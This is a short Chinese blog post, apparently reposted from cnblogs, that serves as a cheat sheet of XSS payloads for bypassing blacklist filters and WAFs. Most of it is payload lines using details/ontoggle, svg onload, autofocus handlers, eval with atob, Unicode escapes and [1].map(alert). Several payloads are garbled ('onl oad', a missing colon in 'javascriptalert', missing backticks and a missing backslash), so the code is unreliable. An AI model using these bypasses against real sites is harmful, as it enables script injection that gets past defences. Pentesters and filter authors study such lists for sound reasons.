绕过简单的xss防护
如果双引号被禁用就用单引号。
针对黑名单过滤,过滤一般不全,在过滤了img还有input或者div
过滤了onclik,onmouseover,可以尝试冷门的事件触发onmouseenter(注意冷门最好)
过滤了()可以尝试(),过滤了‘可以尝试反引号,这个是反引号`
过滤了alert,可以尝试confirm和prompt
大小写绕过
双写绕过
1.加上一个xmlns属性绕过
如果<svg onl oad="javascriptalert(1)">被拦截了
可以试试<svg onl oad="javascriptalert(1)"xmlns="https:www.baidu.com">
<details open ontoggle=top.alert(1)>
<details open ontoggle=top[‘prompt’](1)>
<details open ontoggle=top[‘al’%2b’ert’](1)> 注:%2b为url编码的
3.eval函数执行
<details open ontoggle=top.eval(‘ale’%2B’rt(1)’) >
<details open ontoggle=eval(‘alert(1)’) >
eval拦截的话,可以试试,把 e Unicode编码
<details open ontoggle=\u0065val(atob(‘YWxlcnQoMSk=’)) >
4.拦截了alert
当alert不行,可以考虑的有prompt,confirm
<details open ontoggle=prompt(1)>
<button onfocus=prompt(1) autofocus>
<select autofocus onfocus=prompt(1)>
5.反引号
如果存在alert函数,但是Waf并不拦截。但是当加上()括号,就拦截了。可以不试试反引号。例子:
<details/open/ontoggle="alert1">
6.map绕过
map返回一个数组,传入一个函数。
[1].map(alert)依赖map的特性,可以避免alert函数后面带有()括号,以此触发规则。
其他的例子:
<details open ontoggle=[1].find(alert)>
<details open ontoggle=[1].%65very(alert)>
<details open ontoggle=[1].u0066orEach(alert)>
标签:XSS,map,引号,alert,过滤,拦截,绕过 来源: https://www.cnblogs.com/rab3it/p/14390881.html
本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享; 2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关; 3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关; 4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除; 5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。